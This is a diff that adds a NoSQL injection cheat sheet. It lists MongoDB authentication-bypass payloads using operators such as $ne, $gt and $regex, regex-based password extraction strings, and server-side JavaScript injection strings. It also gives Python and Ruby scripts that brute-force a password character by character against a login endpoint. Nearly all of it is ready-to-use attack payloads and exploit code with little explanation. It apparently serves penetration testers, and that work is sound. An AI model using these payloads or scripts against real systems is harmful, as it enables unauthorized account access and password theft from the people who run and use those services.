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+# NoSQL Injection
+## Exploit
+### Authentication Bypass
+Basic authentication bypass using not equal ($ne) or greater ($gt)
+```javascript
+in DATA
+username[$ne]=toto&password[$ne]=toto
+login[$regex]=a.*&pass[$ne]=lol
+login[$gt]=admin&login[$lt]=test&pass[$ne]=1
+login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
+
+in JSON
+{"username": {"$ne": null}, "password": {"$ne": null}}
+{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
+{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
+{"username": {"$gt":""}, "password": {"$gt":""}}
+
+```
+### Extract length information
+```javascript
+username[$ne]=toto&password[$regex]=.{1}
+username[$ne]=toto&password[$regex]=.{3}
+
+```
+### Extract data information
+```javascript
+in URL
+username[$ne]=toto&password[$regex]=m.{2}
+username[$ne]=toto&password[$regex]=md.{1}
+username[$ne]=toto&password[$regex]=mdp
+
+username[$ne]=toto&password[$regex]=m.*
+username[$ne]=toto&password[$regex]=md.*
+
+in JSON
+{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
+{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
+{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
+
+```
+Extract data with "in"
+```javascript
+{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
+
+```
+### SSJI
+```javascript
+';return 'a'=='a' && ''=='
+";return 'a'=='a' && ''=='
+0;return true
+
+```
+
+## Blind NoSQL
+### POST with JSON body
+python script
+```python
+import requests
+import urllib3
+import string
+import urllib
+urllib3.disable_warnings()
+
+username="admin"
+password=""
+u="http://example.org/login"
+headers={'content-type': 'application/json'}
+
+while True:
+    for c in string.printable:
+        if c not in ['*','+','.','?','|']:
+            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
+            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
+            if 'OK' in r.text or r.status_code == 302:
+                print("Found one more char : %s" % (password+c))
+                password += c
+
+
+```
+### POST with urlencoded body
+python script
+```python
+import requests
+import urllib3
+import string
+import urllib
+urllib3.disable_warnings()
+
+username="admin"
+password=""
+u="http://example.org/login"
+headers={'content-type': 'application/x-www-form-urlencoded'}
+
+while True:
+    for c in string.printable:
+        if c not in ['*','+','.','?','|','&','$']:
+            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
+            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
+            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
+                print("Found one more char : %s" % (password+c))
+                password += c
+
+
+```
+### GET
+python script
+```python
+import requests
+import urllib3
+import string
+import urllib
+urllib3.disable_warnings()
+
+username='admin'
+password=''
+u='http://example.org/login'
+
+while True:
+  for c in string.printable:
+    if c not in ['*','+','.','?','|', '#', '&', '$']:
+      payload=f"?username={username}&password[$regex]=^{password + c}"
+      r = requests.get(u + payload)
+      if 'Yeah' in r.text:
+        print(f"Found one more char : {password+c}")
+        password += c
+
+
+```
+ruby script
+```ruby
+require 'httpx'
+
+username = 'admin'
+password = ''
+url = 'http://example.org/login'
+# CHARSET = (?!..?~).to_a # all ASCII printable characters
+CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
+GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
+session = HTTPX.plugin(:persistent)
+
+while true
+  CHARSET.each do |c|
+    unless GET_EXCLUDE.include?(c)
+      payload = "?username=#{username}&password[$regex]=^#{password + c}"
+      res = session.get(url + payload)
+      if res.body.to_s.match?('Yeah')
+        puts "Found one more char : #{password + c}"
+        password += c
+      end
+    end
+  end
+end
+
+```
+## MongoDB Payloads
+```html
+true, $where: '1 == 1'
+, $where: '1 == 1'
+$where: '1 == 1'
+', $where: '1 == 1'
+1, $where: '1 == 1'
+{ $ne: 1 }
+', $or: [ {}, { 'a':'a
+' } ], $comment:'successful MongoDB injection'
+db.injection.insert({success:1});
+db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
+|| 1==1
+' && this.password.match(/.*/)//+%00
+' && this.passwordzz.match(/.*/)//+%00
+'%20%26%26%20this.password.match(/.*/)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+{$gt: ''}
+[$ne]=1
+';return 'a'=='a' && ''=='
+";return(true);var xyz='a
+0;return true
+
+```
+
+
+
+
+